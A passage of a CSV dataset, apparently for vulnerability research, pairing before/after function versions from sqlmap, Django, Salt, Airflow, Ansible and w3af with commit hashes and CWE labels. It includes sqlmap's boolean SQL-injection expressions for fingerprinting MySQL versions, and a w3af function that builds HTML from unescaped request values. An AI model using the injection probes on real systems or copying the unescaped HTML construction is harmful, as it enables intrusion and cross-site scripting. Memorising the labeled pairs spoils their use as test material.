                setDbms(""%s 3"" % DBMS.MYSQL)
                self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
            logger.warn(warnMsg)

            return False",,sqlmapproject/sqlmap,a034462c314b2256188498b902486c15070bede2,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
        * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
        * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
        * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
        * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
        """"""

        if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
           or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \
           Backend.getVersion() != UNKNOWN_DBMS_VERSION:
            v = Backend.getVersion().replace("">"", """")
            v = v.replace(""="", """")
            v = v.replace("" "", """")

            Backend.setVersion(v)

            setDbms(""%s %s"" % (DBMS.MYSQL, Backend.getVersion()))

            if Backend.isVersionGreaterOrEqualThan(""5""):
                kb.data.has_information_schema = True

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.MYSQL
        logger.info(infoMsg)

        randInt = getUnicode(randomInt(1))
        result = inject.checkBooleanExpression(""CONNECTION_ID()=CONNECTION_ID()"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.MYSQL
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""USER()=USER()"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
                logger.warn(warnMsg)

                return False

            # Determine if it is MySQL >= 5.0.0
            #if inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.TABLES LIMIT 0, 1)"" % (randInt, randInt)):
            if inject.checkBooleanExpression(""EXISTS(SELECT %s FROM information_schema.TABLES)"" % randInt):
                kb.data.has_information_schema = True
                Backend.setVersion("">= 5.0.0"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                infoMsg = ""actively fingerprinting %s"" % DBMS.MYSQL
                logger.info(infoMsg)

                # Check if it is MySQL >= 5.5.0
                if inject.checkBooleanExpression(""TO_SECONDS(950501)>0""):
                    Backend.setVersion("">= 5.5.0"")

                # Check if it is MySQL >= 5.1.2 and < 5.5.0
                elif inject.checkBooleanExpression(""@@table_open_cache=@@table_open_cache""):
                    if inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"" % (randInt, randInt)):
                        Backend.setVersionList(["">= 5.1.12"", ""< 5.5.0""])
                    elif inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1)"" % (randInt,randInt)):
                        Backend.setVersionList(["">= 5.1.7"", ""< 5.1.12""])
                    elif inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1)"" % (randInt, randInt)):
                        Backend.setVersion(""= 5.1.6"")
                    elif inject.checkBooleanExpression(""%s=(SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1)"" % (randInt, randInt)):
                        Backend.setVersionList(["">= 5.1.5"", ""< 5.1.6""])
                    else:
                        Backend.setVersionList(["">= 5.1.2"", ""< 5.1.5""])

                # Check if it is MySQL >= 5.0.0 and < 5.1.2
                elif inject.checkBooleanExpression(""@@hostname=@@hostname""):
                    Backend.setVersionList(["">= 5.0.38"", ""< 5.1.2""])
                elif inject.checkBooleanExpression(""@@character_set_filesystem=@@character_set_filesystem""):
                    Backend.setVersionList(["">= 5.0.19"", ""< 5.0.38""])
                elif not inject.checkBooleanExpression(""%s=(SELECT %s FROM DUAL WHERE %s!=%s)"" % (randInt, randInt, randInt, randInt)):
                    Backend.setVersionList(["">= 5.0.11"", ""< 5.0.19""])
                elif inject.checkBooleanExpression(""@@div_precision_increment=@@div_precision_increment""):
                    Backend.setVersionList(["">= 5.0.6"", ""< 5.0.11""])
                elif inject.checkBooleanExpression(""@@automatic_sp_privileges=@@automatic_sp_privileges""):
                    Backend.setVersionList(["">= 5.0.3"", ""< 5.0.6""])
                else:
                    Backend.setVersionList(["">= 5.0.0"", ""< 5.0.3""])

            # For cases when information_schema is missing
            elif inject.checkBooleanExpression(""DATABASE() LIKE SCHEMA()""):
                Backend.setVersion("">= 5.0.2"")
                setDbms(""%s 5"" % DBMS.MYSQL)
                self.getBanner()

            elif inject.checkBooleanExpression(""STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0""):
                Backend.setVersion(""< 5.0.0"")
                setDbms(""%s 4"" % DBMS.MYSQL)
                self.getBanner()

                if not conf.extensiveFp:
                    return True

                # Check which version of MySQL < 5.0.0 it is
                if inject.checkBooleanExpression(""3=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.11"", ""< 5.0.0""])
                elif inject.checkBooleanExpression(""2=(SELECT COERCIBILITY(USER()))""):
                    Backend.setVersionList(["">= 4.1.1"", ""< 4.1.11""])
                elif inject.checkBooleanExpression(""CURRENT_USER()=CURRENT_USER()""):
                    Backend.setVersionList(["">= 4.0.6"", ""< 4.1.1""])

                    if inject.checkBooleanExpression(""'utf8'=(SELECT CHARSET(CURRENT_USER()))""):
                        Backend.setVersion(""= 4.1.0"")
                    else:
                        Backend.setVersionList(["">= 4.0.6"", ""< 4.1.0""])
                else:
                    Backend.setVersionList(["">= 4.0.0"", ""< 4.0.6""])
            else:
                Backend.setVersion(""< 4.0.0"")
                setDbms(""%s 3"" % DBMS.MYSQL)
                self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.MYSQL
            logger.warn(warnMsg)

            return False"
,UNKNOWN,UNKNOWN,tests/template_tests/filter_tests/test_truncatewords.py,1,"def test_truncatewords01(self):
        output = self.engine.render_to_string(
            'truncatewords01', {'a': 'alpha & bravo', 'b': mark_safe('alpha &amp; bravo')}
        )
        self.assertEqual(output, 'alpha & … alpha &amp; …')",CWE-79,django/django,201017df308266c7d5ed20181e6d0ffa5832e3e9,"def test_truncatewords01(self):
        output = self.engine.render_to_string(
            'truncatewords01', {'a': 'alpha & bravo', 'b': mark_safe('alpha &amp; bravo')}
        )
        self.assertEqual(output, 'alpha & ... alpha &amp; ...')"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/admin_util/tests.py,0,"def test_label_for_field(self):
        """"""
        Tests for label_for_field
        """"""
        self.assertEquals(
            label_for_field(""title"", Article),
            ""title""
        )
        self.assertEquals(
            label_for_field(""title2"", Article),
            ""another name""
        )
        self.assertEquals(
            label_for_field(""title2"", Article, return_attr=True),
            (""another name"", None)
        )

        self.assertEquals(
            label_for_field(""__unicode__"", Article),
            ""article""
        )
        self.assertEquals(
            label_for_field(""__str__"", Article),
            ""article""
        )

        self.assertRaises(
            AttributeError,
            lambda: label_for_field(""unknown"", Article)
        )

        def test_callable(obj):
            return ""nothing""
        self.assertEquals(
            label_for_field(test_callable, Article),
            ""Test callable""
        )
        self.assertEquals(
            label_for_field(test_callable, Article, return_attr=True),
            (""Test callable"", test_callable)
        )

        self.assertEquals(
            label_for_field(""test_from_model"", Article),
            ""Test from model""
        )
        self.assertEquals(
            label_for_field(""test_from_model"", Article, return_attr=True),
            (""Test from model"", Article.test_from_model)
        )
        self.assertEquals(
            label_for_field(""test_from_model_with_override"", Article),
            ""not What you Expect""
        )

        self.assertEquals(
            label_for_field(lambda x: ""nothing"", Article),
            ""--""
        )

        class MockModelAdmin(object):
            def test_from_model(self, obj):
                return ""nothing""
            test_from_model.short_description = ""not Really the Model""

        self.assertEquals(
            label_for_field(""test_from_model"", Article, model_admin=MockModelAdmin),
            ""not Really the Model""
        )
        self.assertEquals(
            label_for_field(""test_from_model"", Article,
                model_admin = MockModelAdmin,
                return_attr = True
            ),
            (""not Really the Model"", MockModelAdmin.test_from_model)
        )",CWE-Unknown,django/django,faceca7075d72d55f0eebc586049fb634cd46129,"def test_label_for_field(self):
        """"""
        Tests for label_for_field
        """"""
        self.assertEquals(
            label_for_field(""title"", Article),
            ""title""
        )
        self.assertEquals(
            label_for_field(""title2"", Article),
            ""another name""
        )
        self.assertEquals(
            label_for_field(""title2"", Article, return_attr=True), 
            (""another name"", None)
        )

        self.assertEquals(
            label_for_field(""__unicode__"", Article),
            ""article""
        )
        self.assertEquals(
            label_for_field(""__str__"", Article),
            ""article""
        )

        self.assertRaises(
            AttributeError,
            lambda: label_for_field(""unknown"", Article)
        )

        def test_callable(obj):
            return ""nothing""
        self.assertEquals(
            label_for_field(test_callable, Article),
            ""test_callable""
        )
        self.assertEquals(
            label_for_field(test_callable, Article, return_attr=True),
            (""test_callable"", test_callable)
        )

        self.assertEquals(
            label_for_field(""test_from_model"", Article),
            ""test_from_model""
        )
        self.assertEquals(
            label_for_field(""test_from_model"", Article, return_attr=True),
            (""test_from_model"", Article.test_from_model)
        )
        self.assertEquals(
            label_for_field(""test_from_model_with_override"", Article),
            ""not what you expect""
        )

        self.assertEquals(
            label_for_field(lambda x: ""nothing"", Article),
            ""--""
        )

        class MockModelAdmin(object):
            def test_from_model(self, obj):
                return ""nothing""
            test_from_model.short_description = ""not really the model""
        self.assertEquals(
            label_for_field(""test_from_model"", Article, model_admin=MockModelAdmin),
            ""not really the model""
        )
        self.assertEquals(
            label_for_field(""test_from_model"", Article,
                model_admin = MockModelAdmin,
                return_attr = True
            ),
            (""not really the model"", MockModelAdmin.test_from_model)
        )"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/scheduler/test_error.py,1,"def test_eval_skip_during_range_invalid_date(schedule):
    """"""
    verify that scheduled job does not run
    and returns the right error
    """"""

    job = {
        ""schedule"": {
            ""job1"": {
                ""function"": ""test.ping"",
                ""hours"": 1,
                ""skip_during_range"": {""start"": ""1:00pm"", ""end"": ""25:00pm""},
            }
        }
    }

    # Add the job to the scheduler
    schedule.opts.update(job)

    # eval at 3:00pm to prime, simulate minion start up.
    run_time = dateutil.parser.parse(""11/29/2017 3:00pm"")
    schedule.eval(now=run_time)
    ret = schedule.job_status(""job1"")

    # eval at 4:00pm to prime
    run_time = dateutil.parser.parse(""11/29/2017 4:00pm"")
    schedule.eval(now=run_time)
    ret = schedule.job_status(""job1"")
    _expected = ""Invalid date string for end in skip_during_range. Ignoring job job1.""
    assert ret[""_error""] == _expected","CWE-94, CWE-703",saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_eval_skip_during_range_invalid_date(schedule):
    """"""
    verify that scheduled job does not run
    and returns the right error
    """"""

    job = {
        ""schedule"": {
            ""job1"": {
                ""function"": ""test.ping"",
                ""hours"": 1,
                ""skip_during_range"": {""start"": ""1:00pm"", ""end"": ""25:00pm""},
            }
        }
    }

    # Add the job to the scheduler
    schedule.opts.update(job)

    # eval at 3:00pm to prime, simulate minion start up.
    run_time = dateutil.parser.parse(""11/29/2017 3:00pm"")
    schedule.eval(now=run_time)
    ret = schedule.job_status(""job1"")

    # eval at 4:00pm to prime
    run_time = dateutil.parser.parse(""11/29/2017 4:00pm"")
    schedule.eval(now=run_time)
    ret = schedule.job_status(""job1"")
    _expected = (
        ""Invalid date string for end in "" ""skip_during_range. Ignoring "" ""job job1.""
    )
    assert ret[""_error""] == _expected"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/hooks/test_athena.py,1,"def test_hook_poll_query_with_timeout(self, mock_conn):
        mock_conn.return_value.get_query_execution.return_value = MOCK_RUNNING_QUERY_EXECUTION
        result = self.athena.poll_query_status(
            query_execution_id=MOCK_DATA['query_execution_id'],
            max_polling_attempts=1,
        )
        mock_conn.return_value.get_query_execution.assert_called_once()
        assert result == 'RUNNING'",CWE-703,apache/airflow,6dd4593829ffbd71b0f6c261233787caa5973178,"def test_hook_poll_query_with_timeout(self, mock_conn):
        mock_conn.return_value.get_query_execution.return_value = MOCK_RUNNING_QUERY_EXECUTION
        result = self.athena.poll_query_status(
            query_execution_id=MOCK_DATA['query_execution_id'], max_tries=1
        )
        mock_conn.return_value.get_query_execution.assert_called_once()
        assert result == 'RUNNING'"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/export/html_export.py,0,"def html_export(request_string):
    '''
    @parameter request_string: The string of the request to export
    @return: A HTML that will perform the same HTTP request.
    '''
    requestLines = request_string.split('\n\n')
    header = requestLines[0]
    body = '\n\n'.join(requestLines[1:])
    httpRequest = httpRequestParser( header, body)
    res = '''<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01 Transitional//EN"">
    <html>
    <head>
        <meta http-equiv=""Content-Type"" content=""text/html; charset=UTF-8"">
        <title>Exported HTTP Request from W3AF</title>
    </head>
    <body>'''
    res += '<form action=""' + httpRequest.getURI() +'"" method=""' + httpRequest.getMethod() + '"">\n'
    if httpRequest.getData() and httpRequest.getData() != '\n':
        postData = httpRequest.getDc()
        for i in postData:
            res += '<label>' + i + '</label>\n'
            res += '<input type=""text"" name=""' + i.strip() + '"" value=""' + postData[i][0] + '"">\n'
    res += '<input type=""submit"">\n'
    res += '</form>\n'
    res += '''</body>\n</html>'''
    return res",,andresriancho/w3af,92d29e6e916eb09552ec71ea3a58e9bbe2c13574,"def html_export(request_string):
    '''
    @parameter request_string: The string of the request to export
    @return: A HTML that will perform the same HTTP request.
    '''
    requestLines = request_string.split('\n\n')
    header = requestLines[0]
    body = '\n\n'.join(requestLines[1:])
    httpRequest = httpRequestParser( header, body)
    res = '''<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01 Transitional//EN"">
    <html>
    <head>
        <meta http-equiv=""Content-Type"" content=""text/html; charset=UTF-8"">
        <title>Exported HTTP Request from W3AF</title>
    </head>
    <body>'''
    res += '<form action=""' + httpRequest.getURI() +'"" method=""' + httpRequest.getMethod() + '"">\n'
    if httpRequest.getData() and httpRequest.getData() != '\n':
        postData = httpRequest.getDc()
        for i in postData:
            res += '<label>' + i + '</label>\n'
            res += '<input type=""text"" name=""' + i + '"" value=""' + postData[i][0] + '"">\n'
    res += '<input type=""sumbit"">\n'
    res += '</form>\n'
    res += '''</body>\n</html>'''
    return res"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/mongodb.py,0,"def db_remove(name, user=None, password=None, host=None, port=None, authdb=None):
    '''
    Remove a Mongodb database

    CLI Example:

    .. code-block:: bash

        salt '*' mongodb.db_remove <name> <user> <password> <host> <port>
    '''
    conn = _connect(user, password, host, port, authdb=authdb)
    if not conn:
        return 'Failed to connect to mongo database'

    try:
        log.info('Removing database {0}'.format(name))
        conn.drop_database(name)
    except pymongo.errors.PyMongoError as err:
        log.error(
            'Removing database {0} failed with error: {1}'.format(
                name, str(err)
            )
        )
        return str(err)

    return True",,saltstack/salt,eb1258e18b07247eb30ad523da899630d5188921,"def db_remove(name, user=None, password=None, host=None, port=None, authdb=None):
    '''
    Remove a Mongodb database

    CLI Example:

    .. code-block:: bash

        salt '*' mongodb.db_remove <name> <user> <password> <host> <port>
    '''
    conn = _connect(user, password, host, port, authdb=authdb)
    if not conn:
        return 'Failed to connect to mongo database'

    try:
        log.info('Removing database {0}'.format(name))
        conn.drop_database(name)
    except pymongo.errors.PyMongoError as err:
        log.error(
            'Removing database {0} failed with error: {1}'.format(
                name, str(err)
            )
        )
        return str(err)

    return True"
,UNKNOWN,UNKNOWN,lib/ansible/template/__init__.py,1,"def set_available_variables(self, variables):
        '''
        Sets the list of template variables this Templar instance will use
        to template things, so we don't have to pass them around between
        internal methods.
        '''

        assert isinstance(variables, dict)
        self._available_variables = variables",CWE-703,ansible/ansible,63c47fb2715311a1a6258332221034585ea23593,"def set_available_variables(self, variables):
        '''
        Sets the list of template variables this Templar instance will use
        to template things, so we don't have to pass them around between
        internal methods.
        '''

        assert isinstance(variables, dict)
        self._available_variables = variables.copy()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/hashdb.py,0,"def beginTransaction(self):
        threadData = getCurrentThreadData()
        if not threadData.inTransaction:
            try:
                self.cursor.execute(""BEGIN TRANSACTION"")
            except:
                try:
                    # Reference: http://stackoverflow.com/a/25245731
                    self.cursor.close()
                except sqlite3.ProgrammingError:
                    pass
                threadData.hashDBCursor = None
                self.cursor.execute(""BEGIN TRANSACTION"")
            finally:
                threadData.inTransaction = True",,sqlmapproject/sqlmap,21878560eecf2bf123ea65e6ca0869c07540da9f,"def beginTransaction(self):
        threadData = getCurrentThreadData()
        if not threadData.inTransaction:
            try:
                self.cursor.execute(""BEGIN TRANSACTION"")
            except:
                # Reference: http://stackoverflow.com/a/25245731
                self.cursor.close()
                threadData.hashDBCursor = None
                self.cursor.execute(""BEGIN TRANSACTION"")
            finally:
                threadData.inTransaction = True"
,UNKNOWN,UNKNOWN,django/utils/translation/trans_real.py,1,"def do_translate(message, translation_function):
    """"""
    Translates 'message' using the given 'translation_function' name -- which
    will be either gettext or ugettext. It uses the current thread to find the
    translation object to use. If no current translation is activated, the
    message will be run through the default translation object.
    """"""
    global _default

    # str() is allowing a bytestring message to remain bytestring on Python 2
    eol_message = message.replace(str('\r\n'), str('\n')).replace(str('\r'), str('\n'))

    if len(eol_message) == 0:
        # Returns an empty value of the corresponding type if an empty message
        # is given, instead of metadata, which is the default gettext behavior.
        result = type(message)("""")
    else:
        _default = _default or translation(settings.LANGUAGE_CODE)
        translation_object = getattr(_active, ""value"", _default)

        result = getattr(translation_object, translation_function)(eol_message)

    if isinstance(message, SafeData):
        return mark_safe(result)

    return result",CWE-79,django/django,11f307a5a8fa66605652e0496c7385e584bfcad7,"def do_translate(message, translation_function):
    """"""
    Translates 'message' using the given 'translation_function' name -- which
    will be either gettext or ugettext. It uses the current thread to find the
    translation object to use. If no current translation is activated, the
    message will be run through the default translation object.
    """"""
    global _default

    # str() is allowing a bytestring message to remain bytestring on Python 2
    eol_message = message.replace(str('\r\n'), str('\n')).replace(str('\r'), str('\n'))
    t = getattr(_active, ""value"", None)
    if t is not None:
        result = getattr(t, translation_function)(eol_message)
    else:
        if _default is None:
            _default = translation(settings.LANGUAGE_CODE)
        result = getattr(_default, translation_function)(eol_message)
    if isinstance(message, SafeData):
        return mark_safe(result)
    return result"
,UNKNOWN,UNKNOWN,providers/tests/apache/hive/sensors/test_named_hive_partition.py,1,"def test_parse_partition_name_default(self):
        table = ""users""
        partition = ""ds=2016-01-01/state=IT""
        name = f""{table}/{partition}""
        parsed_schema, parsed_table, parsed_partition = NamedHivePartitionSensor.parse_partition_name(name)
        assert parsed_schema == ""default""
        assert table == parsed_table
        assert partition == parsed_partition",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_parse_partition_name_default(self):
        table = ""users""
        partition = ""ds=2016-01-01/state=IT""
        name = f""{table}/{partition}""
        parsed_schema, parsed_table, parsed_partition = NamedHivePartitionSensor.parse_partition_name(name)
        assert ""default"" == parsed_schema
        assert table == parsed_table
        assert partition == parsed_partition"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/node_visitor.py,0,"def visit_ImportFrom(self, node):
        '''Visitor for AST Import nodes

        add relevant information about node to
        the context for use in tests which inspect imports.
        :param node: The node that is being inspected
        :return: -
        '''

        self.context['lineno'] = node.lineno
        self.logger.debug(""visit_ImportFrom called (%s)"" % ast.dump(node))

        module = node.module
        if module is None:
            return self.visit_Import(node)

        for nodename in node.names:
            # TODO(ljfisher) Names in import_aliases could be overridden
            #      by local definitions. If this occurs bandit will see the
            #      name in import_aliases instead of the local definition.
            #      We need better tracking of names.
            if nodename.asname:
                self.context['import_aliases'][nodename.asname] = (
                    module + ""."" + nodename.name
                )
            else:
                # Even if import is not aliased we need an entry that maps
                # name to module.name.  For example, with 'from a import b'
                # b should be aliased to the qualified name a.b
                self.context['import_aliases'][nodename.name] = (module + '.' +
                                                                 nodename.name)
            self.context['imports'].add(module + ""."" + nodename.name)
            self.context['module'] = module
            self.context['name'] = nodename.name
        self.score += self.tester.run_tests(self.context, 'imports')
        super(BanditNodeVisitor, self).generic_visit(node)",UNKNOWN,PyCQA/bandit,2b27cabc1544ff51c4ef73cdd88fc8280d5e00e7,"def visit_ImportFrom(self, node):
        '''Visitor for AST Import nodes

        add relevant information about node to
        the context for use in tests which inspect imports.
        :param node: The node that is being inspected
        :return: -
        '''

        self.context['lineno'] = node.lineno
        self.logger.debug(""visit_ImportFrom called (%s)"" % ast.dump(node))

        module = node.module
        if module is None:
            return self.visit_Import(node)

        for nodename in node.names:
            if nodename.asname:
                self.context['import_aliases'][nodename.asname] = (
                    module + ""."" + nodename.name
                )
            self.context['imports'].add(module + ""."" + nodename.name)
            self.context['module'] = module
            self.context['name'] = nodename.name
        self.score += self.tester.run_tests(self.context, 'imports')
        super(BanditNodeVisitor, self).generic_visit(node)"
,UNKNOWN,UNKNOWN,tests/pytests/scenarios/multimaster/conftest.py,1,"def run_salt_cmds():
    def _run_salt_cmds_fn(clis, minions):
        """"""
        Run test.ping from all clis to all minions
        """"""
        returned_minions = []

        for cli in clis:
            for minion in minions:
                try:
                    ret = cli.run(""test.ping"", minion_tgt=minion.id, _timeout=20)
                    if ret and ret.json:
                        assert ret.json
                        assert ret.exitcode == 0
                        returned_minions.append(minion)
                except FactoryTimeout as exc:
                    log.debug(
                        ""Failed to execute test.ping from %s to %s."",
                        cli.get_display_name(),
                        minion.id,
                    )

        return returned_minions

    return _run_salt_cmds_fn",CWE-703,saltstack/salt,b2e46b5b95a0cbc238cfeb5709189211099e0a22,"def run_salt_cmds():
    def _run_salt_cmds_fn(clis, minions):
        """"""
        Run test.echo from all clis to all minions
        """"""
        echo_str = ""The FitnessGram Pacer Test is a multistage aerobic capacity test""
        returned_minions = []

        for cli in clis:
            for minion in minions:
                try:
                    ret = cli.run(
                        ""test.echo"", echo_str, minion_tgt=minion.id, _timeout=20
                    )
                    if ret and ret.json:
                        assert ret.json == echo_str
                        assert ret.exitcode == 0
                        returned_minions.append(minion)
                except FactoryTimeout as exc:
                    log.debug(
                        ""Failed to execute test.echo from %s to %s."",
                        cli.get_display_name(),
                        minion.id,
                    )

        return returned_minions

    return _run_salt_cmds_fn"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,providers/amazon/src/airflow/providers/amazon/aws/hooks/dms.py,0,"def get_task_status(self, replication_task_arn: str) -> str | None:
        """"""
        Retrieve task status.

        :param replication_task_arn: Replication task ARN
        :return: Current task status
        """"""
        replication_tasks = self.find_replication_tasks_by_arn(
            replication_task_arn=replication_task_arn,
            without_settings=True,
        )

        if len(replication_tasks) == 1:
            status = replication_tasks[0][""Status""]
            self.log.info('Replication task with ARN(%s) has status ""%s"".', replication_task_arn, status)
            return status
        self.log.info(""Replication task with ARN(%s) is not found."", replication_task_arn)
        return None",CWE-Unknown,apache/airflow,cb295c351a016c0a10cab07f2a628b865cff3ca3,"def get_task_status(self, replication_task_arn: str) -> str | None:
        """"""
        Retrieve task status.

        :param replication_task_arn: Replication task ARN
        :return: Current task status
        """"""
        replication_tasks = self.find_replication_tasks_by_arn(
            replication_task_arn=replication_task_arn,
            without_settings=True,
        )

        if len(replication_tasks) == 1:
            status = replication_tasks[0][""Status""]
            self.log.info('Replication task with ARN(%s) has status ""%s"".', replication_task_arn, status)
            return status
        else:
            self.log.info(""Replication task with ARN(%s) is not found."", replication_task_arn)
            return None"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,kubernetes_tests/test_kubernetes_pod_operator.py,0,"def setUp(self):
        self.maxDiff = None  # pylint: disable=invalid-name
        self.api_client = ApiClient()
        self.expected_pod = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'namespace': 'default',
                'name': ANY,
                'annotations': {},
                'labels': {
                    'foo': 'bar',
                    'kubernetes_pod_operator': 'True',
                    'airflow_version': airflow_version.replace('+', '-'),
                    'execution_date': '2016-01-01T0100000100-a2f50a31f',
                    'dag_id': 'dag',
                    'task_id': ANY,
                    'try_number': '1',
                },
            },
            'spec': {
                'affinity': {},
                'containers': [
                    {
                        'image': 'ubuntu:16.04',
                        'imagePullPolicy': 'IfNotPresent',
                        'args': [""echo 10""],
                        'command': [""bash"", ""-cx""],
                        'env': [],
                        'envFrom': [],
                        'resources': {},
                        'name': 'base',
                        'ports': [],
                        'volumeMounts': [],
                    }
                ],
                'hostNetwork': False,
                'imagePullSecrets': [],
                'initContainers': [],
                'restartPolicy': 'Never',
                'securityContext': {},
                'serviceAccountName': 'default',
                'tolerations': [],
                'volumes': [],
            },
        }",CWE-Unknown,apache/airflow,fd0fddc17bfd7ec93ad05625dc37f4a5e587cad4,"def setUp(self):
        self.maxDiff = None  # pylint: disable=invalid-name
        self.api_client = ApiClient()
        self.expected_pod = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'namespace': 'default',
                'name': ANY,
                'annotations': {},
                'labels': {
                    'foo': 'bar',
                    'kubernetes_pod_operator': 'True',
                    'airflow_version': airflow_version.replace('+', '-'),
                    'execution_date': '2016-01-01T0100000100-a2f50a31f',
                    'dag_id': 'dag',
                    'task_id': ANY,
                    'try_number': '1',
                },
            },
            'spec': {
                'affinity': {},
                'containers': [
                    {
                        'image': 'ubuntu:16.04',
                        'args': [""echo 10""],
                        'command': [""bash"", ""-cx""],
                        'env': [],
                        'envFrom': [],
                        'resources': {},
                        'name': 'base',
                        'ports': [],
                        'volumeMounts': [],
                    }
                ],
                'hostNetwork': False,
                'imagePullSecrets': [],
                'initContainers': [],
                'restartPolicy': 'Never',
                'securityContext': {},
                'serviceAccountName': 'default',
                'tolerations': [],
                'volumes': [],
            },
        }"
,UNKNOWN,UNKNOWN,lib/ansible/playbook/play_context.py,1,"def make_become_cmd(self, cmd, executable=None):
        """""" helper function to create privilege escalation commands """"""

        prompt = None
        success_key = None
        self.prompt = None

        if self.become:

            if not executable:
                executable = self.executable

            becomecmd = None
            randbits = ''.join(random.choice(string.ascii_lowercase) for x in range(32))
            success_key = 'BECOME-SUCCESS-%s' % randbits
            success_cmd = shlex_quote('echo %s; %s' % (success_key, cmd))

            if executable:
                command = '%s -c %s' % (executable, success_cmd)
            else:
                command = success_cmd

            # set executable to use for the privilege escalation method, with various overrides
            exe = self.become_exe or getattr(self, '%s_exe' % self.become_method, self.become_method)

            # set flags to use for the privilege escalation method, with various overrides
            flags = self.become_flags or getattr(self, '%s_flags' % self.become_method, '')

            print(exe)
            print(flags)
            if self.become_method == 'sudo':
                # If we have a password, we run sudo with a randomly-generated
                # prompt set using -p. Otherwise we run it with default -n, which makes
                # it fail if it would have prompted for a password.
                # Cannot rely on -n as it can be removed from defaults, which should be
                # done for older versions of sudo that do not support the option.
                #
                # Passing a quoted compound command to sudo (or sudo -s)
                # directly doesn't work, so we shellquote it with shlex_quote()
                # and pass the quoted string to the user's shell.

                # force quick error if password is required but not supplied, should prevent sudo hangs.
                if self.become_pass:
                    prompt = '[sudo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s %s -p ""%s"" -u %s %s' % (exe, flags.replace('-n', ''), prompt, self.become_user, command)
                else:
                    becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, command)

            elif self.become_method == 'su':

                # passing code ref to examine prompt as simple string comparisson isn't good enough with su
                def detect_su_prompt(b_data):
                    b_password_string = b""|"".join([b'(\w+\'s )?' + x for x in b_SU_PROMPT_LOCALIZATIONS])
                    # Colon or unicode fullwidth colon
                    b_password_string = b_password_string + to_bytes(u' ?(:|：) ?')
                    b_SU_PROMPT_LOCALIZATIONS_RE = re.compile(b_password_string, flags=re.IGNORECASE)
                    return bool(b_SU_PROMPT_LOCALIZATIONS_RE.match(b_data))
                prompt = detect_su_prompt

                becomecmd = '%s %s %s -c %s' % (exe, flags, self.become_user, shlex_quote(command))

            elif self.become_method == 'pbrun':

                prompt = 'Password:'
                becomecmd = '%s %s -u %s %s' % (exe, flags, self.become_user, success_cmd)

            elif self.become_method == 'ksu':
                def detect_ksu_prompt(b_data):
                    return re.match(b""Kerberos password for .*@.*:"", b_data)

                prompt = detect_ksu_prompt
                becomecmd = '%s %s %s -e %s' % (exe, self.become_user, flags, command)

            elif self.become_method == 'pfexec':

                # No user as it uses it's own exec_attr to figure it out
                becomecmd = '%s %s ""%s""' % (exe, flags, success_cmd)

            elif self.become_method == 'runas':
                # become is handled inside the WinRM connection plugin
                display.warning(""The Windows 'runas' become method is experimental, and may change significantly in future Ansible releases."")

                if not self.become_user:
                    raise AnsibleError((""The 'runas' become method requires a username ""
                                        ""(specify with the '--become-user' CLI arg, the 'become_user' keyword, or the 'ansible_become_user' variable)""))
                if not self.become_pass:
                    raise AnsibleError((""The 'runas' become method requires a password ""
                                       ""(specify with the '-K' CLI arg or the 'ansible_become_password' variable)""))
                becomecmd = cmd

            elif self.become_method == 'doas':

                prompt = 'doas (%s@' % self.remote_user
                exe = self.become_exe or 'doas'

                if not self.become_pass:
                    flags += ' -n '

                if self.become_user:
                    flags += ' -u %s ' % self.become_user

                # FIXME: make shell independent
                becomecmd = '%s %s echo %s && %s %s env ANSIBLE=true %s' % (exe, flags, success_key, exe, flags, cmd)

            elif self.become_method == 'dzdo':

                exe = self.become_exe or 'dzdo'
                if self.become_pass:
                    prompt = '[dzdo via ansible, key=%s] password: ' % randbits
                    becomecmd = '%s -p %s -u %s %s' % (exe, shlex_quote(prompt), self.become_user, command)
                else:
                    becomecmd = '%s -u %s %s' % (exe, self.become_user, command)

            elif self.become_method == 'pmrun':

                exe = self.become_exe or 'pmrun'

                prompt = 'Enter UPM user password:'
